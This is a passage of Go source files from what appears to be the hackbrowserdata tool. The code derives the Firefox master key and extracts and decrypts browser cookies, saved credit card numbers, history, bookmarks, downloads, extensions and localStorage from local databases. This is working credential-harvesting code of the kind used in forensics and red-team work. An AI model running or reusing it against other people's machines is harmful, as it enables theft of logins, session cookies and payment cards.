pEnc := v.Get("encryptedPassword").String()
if uEnc == "" || pEnc == "" {
continue
}
uRaw, err := base64.StdEncoding.DecodeString(uEnc)
if err != nil {
continue
}
pRaw, err := base64.StdEncoding.DecodeString(pEnc)
if err != nil {
continue
}
pairs = append(pairs, loginCipherPair{username: uRaw, password: pRaw})
if len(pairs) >= 5 {
break
}
}
return pairs, nil
}
func canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherPair) bool {
for _, pair := range pairs {
uPBE, err := crypto.NewASN1PBE(pair.username)
if err != nil {
continue
}
if _, err := uPBE.Decrypt(masterKey); err != nil {
continue
}
pPBE, err := crypto.NewASN1PBE(pair.password)
if err != nil {
continue
}
if _, err := pPBE.Decrypt(masterKey); err == nil {
return true
}
}
return false
}
// processMasterKey process master key of Firefox.
// Process the metaBytes and nssA11 with the corresponding cryptographic operations.
func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) {
metaPBE, err := crypto.NewASN1PBE(metaItem2)
if err != nil {
return nil, fmt.Errorf("error creating ASN1PBE from metaItem2: %w", err)
}
flag, err := metaPBE.Decrypt(metaItem1)
if err != nil {
return nil, fmt.Errorf("error decrypting master key: %w", err)
}
const passwordCheck = "password-check"
if !bytes.Contains(flag, []byte(passwordCheck)) {
return nil, errors.New("flag verification failed: password-check not found")
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if !bytes.Equal(nssA102, keyLin) {
return nil, errors.New("master key verification failed: nssA102 not equal to expected value")
}
nssA11PBE, err := crypto.NewASN1PBE(nssA11)
if err != nil {
return nil, fmt.Errorf("error creating ASN1PBE from nssA11: %w", err)
}
finallyKey, err := nssA11PBE.Decrypt(metaItem1)
if err != nil {
return nil, fmt.Errorf("error decrypting final key: %w", err)
}
if len(finallyKey) < 24 {
return nil, errors.New("length of final key is less than 24 bytes")
}
// Historically, the derived PBE key was truncated to 24 bytes for 3DES usage.
// Starting from Firefox 144+, NSS switches to AES-256-CBC without changing
// the underlying key derivation logic. The full derived key must be preserved
// to support modern cipher suites.
return finallyKey, nil
}
func (f *Firefox) Name() string {
return f.name
}
func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
dataTypes := f.items
if !isFullExport {
dataTypes = types.FilterSensitiveItems(f.items)
}
data := browserdata.New(dataTypes)
if err := f.copyItemToLocal(); err != nil {
return nil, err
}
masterKey, err := f.GetMasterKey()
if err != nil {
return nil, err
}
f.masterKey = masterKey
if err := data.Recovery(f.masterKey); err != nil {
return nil, err
}
return data, nil
}
================================================
FILE: browser/firefox/firefox_test.go
================================================
package firefox
import (
"testing"
"github.com/DATA-DOG/go-sqlmock"
"github.com/stretchr/testify/assert"
)
func TestQueryMetaData(t *testing.T) {
db, mock, err := sqlmock.New()
assert.NoError(t, err)
defer db.Close()
rows := sqlmock.NewRows([]string{"item1", "item2"}).
AddRow([]byte("globalSalt"), []byte("metaBytes"))
mock.ExpectQuery("SELECT item1, item2 FROM metaData WHERE id = 'password'").WillReturnRows(rows)
globalSalt, metaBytes, err := queryMetaData(db)
assert.NoError(t, err)
assert.Equal(t, []byte("globalSalt"), globalSalt)
assert.Equal(t, []byte("metaBytes"), metaBytes)
}
func TestQueryNssPrivate(t *testing.T) {
db, mock, err := sqlmock.New()
assert.NoError(t, err)
defer db.Close()
rows := sqlmock.NewRows([]string{"a11", "a102"}).
AddRow([]byte("nssA11"), []byte("nssA102"))
mock.ExpectQuery("SELECT a11, a102 FROM nssPrivate").WillReturnRows(rows)
nssA11, nssA102, err := queryNssPrivate(db)
assert.NoError(t, err)
assert.Equal(t, []byte("nssA11"), nssA11)
assert.Equal(t, []byte("nssA102"), nssA102)
}
================================================
FILE: browserdata/bookmark/bookmark.go
================================================
package bookmark
import (
"database/sql"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {
return new(ChromiumBookmark)
})
extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {
return new(FirefoxBookmark)
})
}
type ChromiumBookmark []bookmark
type bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
func (c *ChromiumBookmark) Extract(_ []byte) error {
bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumBookmark.TempFilename())
r := gjson.Parse(bookmarks)
if r.Exists() {
roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkChildren(value, c)
return true
})
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
return nil
}
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkURL = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
nodeType := value.Get(bookmarkType)
children = value.Get(bookmarkChildren)
bm := bookmark{
ID: value.Get(bookmarkID).Int(),
Name: value.Get(bookmarkName).String(),
URL: value.Get(bookmarkURL).String(),
DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
}
if nodeType.Exists() {
bm.Type = nodeType.String()
*w = append(*w, bm)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v, w)
}
}
}
return children
}
func (c *ChromiumBookmark) Name() string {
return "bookmark"
}
func (c *ChromiumBookmark) Len() int {
return len(*c)
}
type FirefoxBookmark []bookmark
const (
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxBookmark) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxBookmark.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryFirefoxBookMark)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, bt, dateAdded int64
url string
title sql.NullString
)
if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
log.Debugf("scan bookmark error: %v", err)
}
*f = append(*f, bookmark{
ID: id,
Name: title.String,
Type: linkType(bt),
URL: url,
DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].DateAdded.After((*f)[j].DateAdded)
})
return nil
}
func (f *FirefoxBookmark) Name() string {
return "bookmark"
}
func (f *FirefoxBookmark) Len() int {
return len(*f)
}
func linkType(a int64) string {
switch a {
case 1:
return "url"
default:
return "folder"
}
}
================================================
FILE: browserdata/browserdata.go
================================================
package browserdata
import (
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type BrowserData struct {
extractors map[types.DataType]extractor.Extractor
}
func New(items []types.DataType) *BrowserData {
bd := &BrowserData{
extractors: make(map[types.DataType]extractor.Extractor),
}
bd.addExtractors(items)
return bd
}
func (d *BrowserData) Recovery(masterKey []byte) error {
for _, source := range d.extractors {
if err := source.Extract(masterKey); err != nil {
log.Debugf("parse %s error: %v", source.Name(), err)
continue
}
}
return nil
}
func (d *BrowserData) Output(dir, browserName, flag string) {
output := newOutPutter(flag)
for _, source := range d.extractors {
if source.Len() == 0 {
// if the length of the export data is 0, then it is not necessary to output
continue
}
filename := fileutil.Filename(browserName, source.Name(), output.Ext())
f, err := output.CreateFile(dir, filename)
if err != nil {
log.Debugf("create file %s error: %v", filename, err)
continue
}
if err := output.Write(source, f); err != nil {
log.Debugf("write to file %s error: %v", filename, err)
continue
}
if err := f.Close(); err != nil {
log.Debugf("close file %s error: %v", filename, err)
continue
}
log.Warnf("export success: %s", filename)
}
}
func (d *BrowserData) addExtractors(items []types.DataType) {
for _, itemType := range items {
if source := extractor.CreateExtractor(itemType); source != nil {
d.extractors[itemType] = source
} else {
log.Debugf("source not found: %s", itemType)
}
}
}
================================================
FILE: browserdata/cookie/cookie.go
================================================
package cookie
import (
"database/sql"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {
return new(ChromiumCookie)
})
extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {
return new(FirefoxCookie)
})
}
type ChromiumCookie []cookie
type cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func (c *ChromiumCookie) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
log.Debugf("scan chromium cookie error: %v", err)
}
cookie := cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
if err != nil {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
if err != nil {
log.Debugf("decrypt chromium cookie error: %v", err)
} else if len(value) > 32 {
// https://gist.github.com/kosh04/36cf6023fb75b516451ce933b9db2207?permalink_comment_id=5291243#gistcomment-5291243
value = value[32:]
}
}
}
cookie.Value = string(value)
*c = append(*c, cookie)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumCookie) Name() string {
return "cookie"
}
func (c *ChromiumCookie) Len() int {
return len(*c)
}
type FirefoxCookie []cookie
const (
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
)
func (f *FirefoxCookie) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryFirefoxCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHTTPOnly int
creationTime, expiry int64
)
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
log.Debugf("scan firefox cookie error: %v", err)
}
*f = append(*f, cookie{
KeyName: name,
Host: host,
Path: path,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
CreateDate: typeutil.TimeStamp(creationTime / 1000000),
ExpireDate: typeutil.TimeStamp(expiry),
Value: value,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func (f *FirefoxCookie) Name() string {
return "cookie"
}
func (f *FirefoxCookie) Len() int {
return len(*f)
}
================================================
FILE: browserdata/creditcard/creditcard.go
================================================
package creditcard
import (
"database/sql"
"os"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {
return new(ChromiumCreditCard)
})
extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {
return new(YandexCreditCard)
})
}
type ChromiumCreditCard []card
type card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
)
func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Debugf("scan chromium credit card error: %v", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
log.Debugf("decrypt chromium credit card error: %v", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *ChromiumCreditCard) Name() string {
return "creditcard"
}
func (c *ChromiumCreditCard) Len() int {
return len(*c)
}
type YandexCreditCard []card
func (c *YandexCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Debugf("scan chromium credit card error: %v", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
log.Debugf("decrypt chromium credit card error: %v", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *YandexCreditCard) Name() string {
return "creditcard"
}
func (c *YandexCreditCard) Len() int {
return len(*c)
}
================================================
FILE: browserdata/download/download.go
================================================
package download
import (
"database/sql"
"os"
"sort"
"strings"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {
return new(ChromiumDownload)
})
extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {
return new(FirefoxDownload)
})
}
type ChromiumDownload []download
type download struct {
TargetPath string
URL string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
const (
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
)
func (c *ChromiumDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumDownload.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
targetPath, tabURL, mimeType string
totalBytes, startTime, endTime int64
)
if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
log.Warnf("scan chromium download error: %v", err)
}
data := download{
TargetPath: targetPath,
URL: tabURL,
TotalBytes: totalBytes,
StartTime: typeutil.TimeEpoch(startTime),
EndTime: typeutil.TimeEpoch(endTime),
MimeType: mimeType,
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].TotalBytes > (*c)[j].TotalBytes
})
return nil
}
func (c *ChromiumDownload) Name() string {
return "download"
}
func (c *ChromiumDownload) Len() int {
return len(*c)
}
type FirefoxDownload []download
const (
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxDownload.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryFirefoxDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
content, url string
placeID, dateAdded int64
)
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
log.Warnf("scan firefox download error: %v", err)
}
contentList := strings.Split(content, ",{")
if len(contentList) > 1 {
path := contentList[0]
json := "{" + contentList[1]
endTime := gjson.Get(json, "endTime")
fileSize := gjson.Get(json, "fileSize")
*f = append(*f, download{
TargetPath: path,
URL: url,
TotalBytes: fileSize.Int(),
StartTime: typeutil.TimeStamp(dateAdded / 1000000),
EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
})
}
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].TotalBytes < (*f)[j].TotalBytes
})
return nil
}
func (f *FirefoxDownload) Name() string {
return "download"
}
func (f *FirefoxDownload) Len() int {
return len(*f)
}
================================================
FILE: browserdata/extension/extension.go
================================================
package extension
import (
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"golang.org/x/text/language"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {
return new(ChromiumExtension)
})
extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {
return new(FirefoxExtension)
})
}
type ChromiumExtension []*extension
type extension struct {
ID string
URL string
Enabled bool
Name string
Description string
Version string
HomepageURL string
}
func (c *ChromiumExtension) Extract(_ []byte) error {
extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumExtension.TempFilename())
result, err := parseChromiumExtensions(extensionFile)
if err != nil {
return err
}
*c = result
return nil
}
func parseChromiumExtensions(content string) ([]*extension, error) {
settingKeys := []string{
"settings.extensions",
"settings.settings",
"extensions.settings",
}
var settings gjson.Result
for _, key := range settingKeys {
settings = gjson.Parse(content).Get(key)
if settings.Exists() {
break
}
}
if !settings.Exists() {
return nil, fmt.Errorf("cannot find extensions in settings")
}
var c []*extension
settings.ForEach(func(id, ext gjson.Result) bool {
location := ext.Get("location")
if !location.Exists() {
return true
}
switch location.Int() {
case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
return true
}
// https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h
enabled := !ext.Get("disable_reasons").Exists()
b := ext.Get("manifest")
if !b.Exists() {
c = append(c, &extension{
ID: id.String(),
Enabled: enabled,
Name: ext.Get("path").String(),
})
return true
}
c = append(c, &extension{
ID: id.String(),
URL: getChromiumExtURL(id.String(), b.Get("update_url").String()),
Enabled: enabled,
Name: b.Get("name").String(),
Description: b.Get("description").String(),
Version: b.Get("version").String(),
HomepageURL: b.Get("homepage_url").String(),
})
return true
})
return c, nil
}
func getChromiumExtURL(id, updateURL string) string {
if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") {
return "https://chrome.google.com/webstore/detail/" + id
} else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") {
return "https://microsoftedge.microsoft.com/addons/detail/" + id
}
return ""
}
func (c *ChromiumExtension) Name() string {
return "extension"
}
func (c *ChromiumExtension) Len() int {
return len(*c)
}
type FirefoxExtension []*extension
var lang = language.Und
func (f *FirefoxExtension) Extract(_ []byte) error {
s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())
if err != nil {
return err
}
_ = os.Remove(types.FirefoxExtension.TempFilename())
j := gjson.Parse(s)
for _, v := range j.Get("addons").Array() {
// https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157
if v.Get("location").String() != "app-profile" {
continue
}
if lang != language.Und {
locale := findFirefoxLocale(v.Get("locales").Array(), lang)
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: locale.Get("name").String(),
Description: locale.Get("description").String(),
Version: v.Get("version").String(),
HomepageURL: locale.Get("homepageURL").String(),
})
continue
}
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: v.Get("defaultLocale.name").String(),
Description: v.Get("defaultLocale.description").String(),
Version: v.Get("version").String(),
HomepageURL: v.Get("defaultLocale.homepageURL").String(),
})
}
return nil
}
func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {
tags := make([]language.Tag, 0, len(locales))
indices := make([]int, 0, len(locales))
for i, locale := range locales {
for _, tagStr := range locale.Get("locales").Array() {
tag, _ := language.Parse(tagStr.String())
if tag == language.Und {
continue
}
tags = append(tags, tag)
indices = append(indices, i)
}
}
_, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)
return locales[indices[tagIndex]]
}
func (f *FirefoxExtension) Name() string {
return "extension"
}
func (f *FirefoxExtension) Len() int {
return len(*f)
}
================================================
FILE: browserdata/history/history.go
================================================
package history
import (
"database/sql"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {
return new(ChromiumHistory)
})
extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {
return new(FirefoxHistory)
})
}
type ChromiumHistory []history
type history struct {
Title string
URL string
VisitCount int
LastVisitTime time.Time
}
const (
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
)
func (c *ChromiumHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumHistory.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
log.Warnf("scan chromium history error: %v", err)
}
data := history{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].VisitCount > (*c)[j].VisitCount
})
return nil
}
func (c *ChromiumHistory) Name() string {
return "history"
}
func (c *ChromiumHistory) Len() int {
return len(*c)
}
type FirefoxHistory []history
const (
queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxHistory.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
return err
}
defer db.Close()
rows, err := db.Query(queryFirefoxHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, visitDate int64
url, title string
visitCount int
)
if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
log.Debugf("scan firefox history error: %v", err)
}
*f = append(*f, history{
Title: title,
URL: url,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].VisitCount < (*f)[j].VisitCount
})
return nil
}
func (f *FirefoxHistory) Name() string {
return "history"
}
func (f *FirefoxHistory) Len() int {
return len(*f)
}
================================================
FILE: browserdata/imports.go
================================================
// Package browserdata is responsible for initializing all the necessary
// components that handle different types of browser data extraction.
// This file, imports.go, is specifically used to import various data
// handler packages to ensure their initialization logic is executed.
// These imports are crucial as they trigger the `init()` functions
// within each package, which typically handle registration of their
// specific data handlers to a central registry.
package browserdata
import (
_ "github.com/moond4rk/hackbrowserdata/browserdata/bookmark"
_ "github.com/moond4rk/hackbrowserdata/browserdata/cookie"
_ "github.com/moond4rk/hackbrowserdata/browserdata/creditcard"
_ "github.com/moond4rk/hackbrowserdata/browserdata/download"
_ "github.com/moond4rk/hackbrowserdata/browserdata/extension"
_ "github.com/moond4rk/hackbrowserdata/browserdata/history"
_ "github.com/moond4rk/hackbrowserdata/browserdata/localstorage"
_ "github.com/moond4rk/hackbrowserdata/browserdata/password"
_ "github.com/moond4rk/hackbrowserdata/browserdata/sessionstorage"
)
================================================
FILE: browserdata/localstorage/localstorage.go
================================================
package localstorage
import (
"bytes"
"database/sql"
"fmt"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {
return new(ChromiumLocalStorage)
})
extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {
return new(FirefoxLocalStorage)
})
}
type ChromiumLocalStorage []storage
type storage struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumLocalStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(storage)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumLocalStorage) Name() string {
return "localStorage"
}
func (c *ChromiumLocalStorage) Len() int {
return len(*c)
}
func (s *storage) fillKey(b []byte) {
keys := bytes.Split(b, []byte("\x00"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
}
func (s *storage) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *storage) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *storage) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxLocalStorage []storage
const (
queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxLocalStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxLocalStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryLocalStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
